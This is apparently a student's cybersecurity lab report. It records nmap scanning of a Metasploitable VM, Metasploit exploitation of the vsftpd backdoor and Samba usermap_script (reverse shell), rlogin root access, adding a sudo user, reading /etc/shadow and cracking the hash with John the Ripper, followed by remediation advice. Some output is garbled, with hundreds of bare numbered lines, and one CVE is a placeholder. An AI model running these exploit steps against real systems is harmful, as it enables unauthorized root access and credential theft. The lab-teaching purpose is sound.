

Name: Minakshi Sinha

ERP: 6604678

Course: B.Tech CSE (Cybersecurity)

Semester: 4th

Section: CY4A

Date: 16/05/2025

Network Penetration Testing with Real-World Exploits and Security Remediation

Project objectives –

The objective of this project is to simulate real-world network penetration testing in a Controlled environment using Kali Linux and a vulnerable Metasploitable VM. It includes Scanning, reconnaissance, enumeration, exploitation, user privilege escalation, password Cracking, and providing remediation.

Introduction –

Penetration testing is a critical component in identifying vulnerabilities and assessing the security posture of systems. This project involves ethical hacking techniques to exploit and analyze a target system. It replicates real-world exploitation techniques to uncover system weaknesses and recommend appropriate remediations.

Theory About the Project –

Network penetration testing is the process of evaluating a system's network security by simulating Attacks from malicious outsiders and insiders. The goal is to find security loopholes before attackers Do. It includes multiple phases:

1. Scanning – Detecting devices and open ports.
2. Reconnaissance – Gathering information about services and OS.
3. Enumeration – Extracting system and service-specific data.
4. Exploitation – Leveraging vulnerabilities to gain unauthorized access.
5. Privilege Escalation – Creating a new user with elevated privileges.
6. Password Cracking – Retrieving passwords from captured hashes.
7. Remediation – Providing fixes and updates for identified vulnerabilities.

Project requirements –

Two Operating System-

1. Kali Linux (Attacking machine)
2. Metasploitable machine (Target Machine)

Tools Details:

- Kali Linux - The attacker machine, containing pre-installed penetration testing tools.
- Metasploitable - A vulnerable machine to practice attacks on.
- Nmap - For network scanning, port discovery, OS

detection, and service version enumeration.

- Metasploit Framework - For exploiting known vulnerabilities in services running on the target.
- John the Ripper - For cracking hashed passwords obtained from /etc/shadow
- Netcat
- VM Manager (VirtualBox/VMware)

Tasks

Network Scanning

Task 1: Basic Network Scan

Step 1: Open a terminal on your Kali Linux machine.

Step 2: Run a basic scan on your local network.

Nmap -v YOUR_IP_RANGE

- nmap -v 192.168.160.131

```
Discovered open port 21/tcp on 192.168.160.131
Discovered open port 22/tcp on 192.168.160.131
Discovered open port 80/tcp on 192.168.160.131
Discovered open port 25/tcp on 192.168.160.131
Discovered open port 3306/tcp on 192.168.160.131
Discovered open port 139/tcp on 192.168.160.131
Discovered open port 1524/tcp on 192.168.160.131
Discovered open port 1099/tcp on 192.168.160.131
Discovered open port 512/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 6000/tcp on 192.168.160.131
Discovered open port 8009/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 514/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Completed Connect Scan at 21:24, 0.27s elapsed (1000 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Read data files from: /usr/bin/nmap --share/nmap
Nmap done: 1 IP address (1 host) scanned in 0.39 seconds
```

Task 2 – Reconnaissance

Task 1: Scanning for hidden Ports

Step 1: To scan for hidden ports , we have to scan whole range of ports on that specific targeted ip address.

`nmap -v -p- YOUR_TARGET_IP_ADDRESS`

- `nmap -v -p- 192.168.160.131`

Output:

```
Discovered open port 36588/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Discovered open port 59437/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 3632/tcp on 192.168.160.131
Discovered open port 53204/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6697/tcp on 192.168.160.131
Completed Connect Scan at 21:30, 15.83s elapsed (65535 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0030s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
36588/tcp open  unknown
53204/tcp open  unknown
53452/tcp open  unknown
59437/tcp open  unknown

Read data files from: /usr/bin/../../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
```

Total Hidden Ports = 7

List of hidden ports

1. 8787
2. 36588
3. 53204
4. 53452
5. 59437
6. 3632
7. 6697

Task 2: Service Version Detection

Step 1: Use the -sV option to detect the version of services running on open ports:

```
nmap -v -sV YOUR_TARGET_IP_ADDRESS
```

- `nmap -v -sV 192.168.160.131`

Output:

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Task 3: Operating System Detection

Step 1: Use the -O option to detect the operating systems of devices on the network:

Nmap -v -O YOUR_TARGET_IP_ADDRESS

- nmap -v -O 192.168.160.132

Output:

```
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Wed May 14 21:27:32 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
```

Task 3 - Enumeration

Target IP Address ENTER_YOUR_TARGET_IP_ADDRESS

Operating System Details (ADD_YOUR_TARGET_OS_DETAILS)

Target IP Address – 192.168.160.131

Operating System Details –

MAC Address: 00:0C:29:AB:A7:B8 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Services Version with open ports (LIST ALL THE OPEN PORTS EXCLUDING HIDDEN PORTS)

PORT	STATE	SERVICE VERSION
21/tcp	open ftp	vsftpd 2.3.4
22/tcp	open ftp	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	Open telnet	Linux telnetd
25/tcp	open smtp	Postfix smtpd
53/tcp	open domain	ISC BIND 9.4.2
80/tcp	open http	Apache httpd 2.2.8((Ubuntu) DAV/2)
111/tcp	open rpcbind	2 (RPC #100000)
139/tcp	open netbios-ssn	Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp	open netbios-ssn	Samba smbd 3.X – 4.X (workgroup:WORKGROUP)
512/tcp	open exec	Netkit-rsh rexecd
513/tcp	open login	OpenBSD or Solaris rlogind
514/tcp	open tcpwrapped	
1099/tcp	open java-rmi	GNU Classpath grmiregistry
1524/tcp	open bindshell	Metasploitable root shell
2049/tcp	open nfs	2-4(RPC#100003)
2121/tcp	open ftp	ProFTPD 1.3.1
3306/tcp	open mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	open postgresql	PostgreSQL DB 8.3.0-8.3.7

5900/tcp	open vnc	VNC (protocol 3.3)
6000/tcp	open X11	(access denied)
6667/tcp	open irc	UnreallRCd
8009/tcp	open ajp13	Apache Jserv (Protocol v1.3)
8180/tcp	open http	Apache Tomcat/Coyote JSP engine 1.1

Hidden Ports with Service Versions (ONLY HIDDEN PORTS)

1. 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
2. 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
3. 6697/tcp open irc UnreallRCd
4. 35851/tcp open mountd 1-3 (RPC #100005)
5. 36571/tcp open nlockmgr 1-4 (RPC #100021)
6. 44585/tcp open java-rmi GNU Classpath grmiregistry
7. 51228/tcp open status 1 (RPC #100024)

Task 4- Exploitation of services

1. vsftpd 2.3.4 (Port 21 - FTP)

- msfconsole
- use exploit/unix/ftp/vsftpd_234_backdoor
- set RHOST 192.168.160.131
- set RPORT 21
- run

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.160.131
RHOST => 192.168.160.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.160.131:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.160.131:21 - USER: 331 Please specify the password.
[*] 192.168.160.131:21 - Backdoor service has been spawned, handling ...
[*] 192.168.160.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.160.133:45301 → 192.168.160.131:6200) at 2025-05-15 13:47:54 +0530

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```


2. SMB 3.0.20-Debian (Port 443)

- search smb version
- use auxiliary/scanner/smb/smb_version
- use exploit/multi/samba/usermap_script
- show options
- set RHOST 192.168.160.131
- run

```
LHOST 192.168.160.133 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.160.131
RHOST => 192.168.160.131
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.160.133:4444
[*] Command shell session 1 opened (192.168.160.133:4444 -> 192.168.160.131:58029) at 2025-05-15 14:25:34 +0530

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```

3. Exploiting R Services (Port 512,513,514)

- nmap -p 512,513,514 -sC -sV --script=vuln 192.168.160.131
- rlogin -l root 192.168.160.131

```
root@kali: ~/home/kali
➔ nmap -p 512,513,514 -sC -sV --script=vuln 192.168.160.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 14:38 IST
Nmap scan report for 192.168.160.131
Host is up (0.00074s latency).

PORT      STATE SERVICE      VERSION
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped

MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

root@kali: ~/home/kali
➔ rlogin -l root 192.168.160.131
Last login: Thu May 15 03:35:43 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~#
root@metasploitable:~#
```

0:1	ff02::1	ip6-allhosts	ip6-localhost	ip6-mcastprefix	metasploitable.localdomain
fe00::0	ff02::2	ip6-allnodes	ip6-localnet	localhost	
ff00::0	ff02::3	ip6-allrouters	ip6-loopback	metasploitable	

```
root@metasploitable:~#
```

Task 5 - Create user with root permission

adduser your_name

Set a simple password example 12345 or hello or 987654321

Get the details of user in /etc/passwd

Enter details of the new user you have added in Metasploit

- adduser minakshi
- password hello
- sudo usermod -aG sudo minakshi
- cat /etc/passwd | grep minakshi
- minakshi:x:1002:1002::,,:/home/minakshi:/bin/bash
- sudo cat /etc/shadow | grep minakshi0x ra
- minakshi:\$y\$j9T\$ep3Qv2Hy8a5uO71kK7yOm0\$rxMKpQlW2n/XflTYSpcCljAKbKR
OVgZHXHr50E5ed.4:20223:0:99999:7:::

Task 6 – Cracking password hashes

- ```
(root@kali) - [~/john-jumbo/run]
cat minakshi_hash.txt
yj9T$ep3Qv2Hy8a5u071kK7y0m0$rxMKpQLW2n/XfLTYSpcCljAKbKROVgZHXHr50E5ed.4
```

- ```

~/john-jumbo/run
~/john minakshi_kash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [7/64])
Cost 1 [algorithm:($mksunm1:1:descript 2:mdscrypt 3:sumsmd 4:bcrypt 5:sha256crypt 6:sha512crypt 7:scrypt 10:yescrypt 11:gstust-yescrypt)] is 10 for all loaded hashes
Cost 2 [algorithm specific iterations] is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] rejected
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done! Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/password.txt
Enabling duplicate candidate password suppressor using 256 MB
(1)
(2)
(3)
(4)
(5)
(6)
(7)
(8)
(9)
(10)
(11)
(12)
(13)
(14)
(15)
(16)
(17)
(18)
(19)
(20)
(21)
(22)
(23)
(24)
(25)
(26)
(27)
(28)
(29)
(30)
(31)
(32)
(33)
(34)
(35)
(36)
(37)
(38)
(39)
(40)
(41)
(42)
(43)
(44)
(45)
(46)
(47)
(48)
(49)
(50)
(51)
(52)
(53)
(54)
(55)
(56)
(57)
(58)
(59)
(60)
(61)
(62)
(63)
(64)
(65)
(66)
(67)
(68)
(69)
(70)
(71)
(72)
(73)
(74)
(75)
(76)
(77)
(78)
(79)
(80)
(81)
(82)
(83)
(84)
(85)
(86)
(87)
(88)
(89)
(90)
(91)
(92)
(93)
(94)
(95)
(96)
(97)
(98)
(99)
(100)
(101)
(102)
(103)
(104)
(105)
(106)
(107)
(108)
(109)
(110)
(111)
(112)
(113)
(114)
(115)
(116)
(117)
(118)
(119)
(120)
(121)
(122)
(123)
(124)
(125)
(126)
(127)
(128)
(129)
(130)
(131)
(132)
(133)
(134)
(135)
(136)
(137)
(138)
(139)
(140)
(141)
(142)
(143)
(144)
(145)
(146)
(147)
(148)
(149)
(150)
(151)
(152)
(153)
(154)
(155)
(156)
(157)
(158)
(159)
(160)
(161)
(162)
(163)
(164)
(165)
(166)
(167)
(168)
(169)
(170)
(171)
(172)
(173)
(174)
(175)
(176)
(177)
(178)
(179)
(180)
(181)
(182)
(183)
(184)
(185)
(186)
(187)
(188)
(189)
(190)
(191)
(192)
(193)
(194)
(195)
(196)
(197)
(198)
(199)
(200)
(201)
(202)
(203)
(204)
(205)
(206)
(207)
(208)
(209)
(210)
(211)
(212)
(213)
(214)
(215)
(216)
(217)
(218)
(219)
(220)
(221)
(222)
(223)
(224)
(225)
(226)
(227)
(228)
(229)
(230)
(231)
(232)
(233)
(234)
(235)
(236)
(237)
(238)
(239)
(240)
(241)
(242)
(243)
(244)
(245)
(246)
(247)
(248)
(249)
(250)
(251)
(252)
(253)
(254)
(255)
(256)
(257)
(258)
(259)
(260)
(261)
(262)
(263)
(264)
(265)
(266)
(267)
(268)
(269)
(270)
(271)
(272)
(273)
(274)
(275)
(276)
(277)
(278)
(279)
(280)
(281)
(282)
(283)
(284)
(285)
(286)
(287)
(288)
(289)
(290)
(291)
(292)
(293)
(294)
(295)
(296)
(297)
(298)
(299)
(300)
(301)
(302)
(303)
(304)
(305)
(306)
(307)
(308)
(309)
(310)
(311)
(312)
(313)
(314)
(315)
(316)
(317)
(318)
(319)
(320)
(321)
(322)
(323)
(324)
(325)
(326)
(327)
(328)
(329)
(330)
(331)
(332)
(333)
(334)
(335)
(336)
(337)
(338)
(339)
(340)
(341)
(342)
(343)
(344)
(345)
(346)
(347)
(348)
(349)
(350)
(351)
(352)
(353)
(354)
(355)
(356)
(357)
(358)
(359)
(360)
(361)
(362)
(363)
(364)
(365)
(366)
(367)
(368)
(369)
(370)
(371)
(372)
(373)
(374)
(375)
(376)
(377)
(378)
(379)
(380)
(381)
(382)
(383)
(384)
(385)
(386)
(387)
(388)
(389)
(390)
(391)
(392)
(393)
(394)
(395)
(396)
(397)
(398)
(399)
(400)
(401)
(402)
(403)
(404)
(405)
(406)
(407)
(408)
(409)
(410)
(411)
(412)
(413)
(414)
(415)
(416)
(417)
(418)
(419)
(420)
(421)
(422)
(423)
(424)
(425)
(426)
(427)
(428)
(429)
(430)
(431)
(432)
(433)
(434)
(435)
(436)
(437)
(438)
(439)
(440)
(441)
(442)
(443)
(444)
(445)
(446)
(447)
(448)
(449)
(450)
(451)
(452)
(453)
(454)
(455)
(456)
(457)
(458)
(459)
(460)
(461)
(462)
(463)
(464)
(465)
(466)
(467)
(468)
(469)
(470)
(471)
(472)
(473)
(474)
(475)
(476)
(477)
(478)
(479)
(480)
(481)
(482)
(483)
(484)
(485)
(486)
(487)
(488)
(489)
(490)
(491)
(492)
(493)
(494)
(495)
(496)
(497)
(498)
(499)
(500)
(501)
(502)
(503)
(504)
(505)
(506)
(507)
(508)
(509)
(510)
(511)
(512)
(513)
(514)
(515)
(516)
(517)
(518)
(519)
(520)
(521)
(522)
(523)
(524)
(525)
(526)
(527)
(528)
(529)
(530)
(531)
(532)
(533)
(534)
(535)
(536)
(537)
(538)
(539)
(540)
(541)
(542)
(543)
(544)
(545)
(546)
(547)
(548)
(549)
(550)
(551)
(552)
(553)
(554)
(555)
(556)
(557)
(558)
(559)
(560)
(561)
(562)
(563)
(564)
(565)
(566)
(567)
(568)
(569)
(570)
(571)
(572)
(573)
(574)
(575)
(576)
(577)
(578)
(579)
(580)
(581)
(582)
(583)
(584)
(585)
(586)
(587)
(588)
(589)
(590)
(591)
(592)
(593)
(594)
(595)
(596)
(597)
(598)
(599)
(600)
(601)
(602)
(603)
(604)
(605)
(606)
(607)
(608)
(609)
(610)
(611)
(612)
(613)
(614)
(615)
(616)
(617)
(618)
(619)
(620)
(621)
(622)
(623)
(624)
(625)
(626)
(627)
(628)
(629)
(630)
(631)
(632)
(633)
(634)
(635)
(636)
(637)
(638)
(639)
(640)
(641)
(642)
(643)
(644)
(645)
(646)
(647)
(648)
(649)
(650)
(651)
(652)
(653)
(654)
(655)
(656)
(657)
(658)
(659)
(660)
```

- ```
(root@kali)~[~/john-jumbo/run]
./john minakshi_hash.txt --show

?:hello

1 password hash cracked, 0 left
```

## 1. FTP Service (vsftpd)

- Current Version: vsftpd 2.3.4
- Latest Version: vsftpd 3.0.5 (2025)
- Vulnerability:
  - ➔ Backdoor in 2.3.4 allows root shell access via crafted payload.
  - ➔ CVE: CVE-2011-2523
- Impact: Full system compromise by unauthenticated attackers.
- Remediation:
  - ➔ Upgrade to vsftpd 3.0.5 (fully patched)
  - ➔ Or disable FTP entirely and switch to SFTP (via SSH)

- Current Version: Samba 3.0.20
- Latest Version: Samba 4.20.1 (May 2025)
- Vulnerabilities:

- ➔ Remote Code Execution (RCE)
  - ➔ Session hijacking
  - ➔ Arbitrary file read/write
  - ➔ CVE-2007-2442: Command injection via username map script
  - ➔ CVE-2017-XXXX: Arbitrary code execution
- Impact: Attackers can gain shell access, move laterally, and steal credentials.
  - Remediation:
    - ➔ Upgrade to Samba 4.20.1
    - ➔ Disable SMBv1, restrict to trusted IPs only
    - ➔ Harden /etc/samba/smb.conf:
    - ➔ Disable guest access
    - ➔ Enable detailed logging

### 3. R Services (Ports 512–514)

- Services Affected: rexec, rlogin, rsh (legacy UNIX services)
- Status: Obsolete, insecure, and deprecated
- Vulnerabilities:
  - ➔ Sends plaintext credentials
  - ➔ Vulnerable to MITM and replay attacks
  - ➔ Weak or no authentication
  - ➔ CVE-1999-0651: Allows unauthorized remote access if .rhosts/hosts.equiv misconfigured
- Impact: Network users can impersonate others and execute remote commands
- Remediation:
  - ➔ Immediately disable rexec, rlogin, and rsh services
  - ➔ Replace with SSH-based alternatives
- Reference: MITRE CVE-1999-0651

### Major Learning From this project –

- **Developed a comprehensive understanding of penetration testing workflow.**
- **Gained hands-on experience with Nmap, Metasploit, and John the Ripper.**
- **Learned to responsibly report and remediate security issues.**
- **I learned how to create and manage users in Linux and how their details are stored in system files.**
- **I understood how passwords are saved in hashed format and how they can be cracked using tools like John the Ripper with wordlists.**

- I also used Nmap to scan systems for open ports, detect services running on them, and check the operating system. For this, I used commands like `nmap -v` to find open ports, `nmap -sV` to find service versions, and `nmap -O` to detect the OS.
- I explored services like SMB and R services, identified outdated or risky ones, and understood why they should be updated or disabled.
- Understood vulnerabilities associated with outdated software.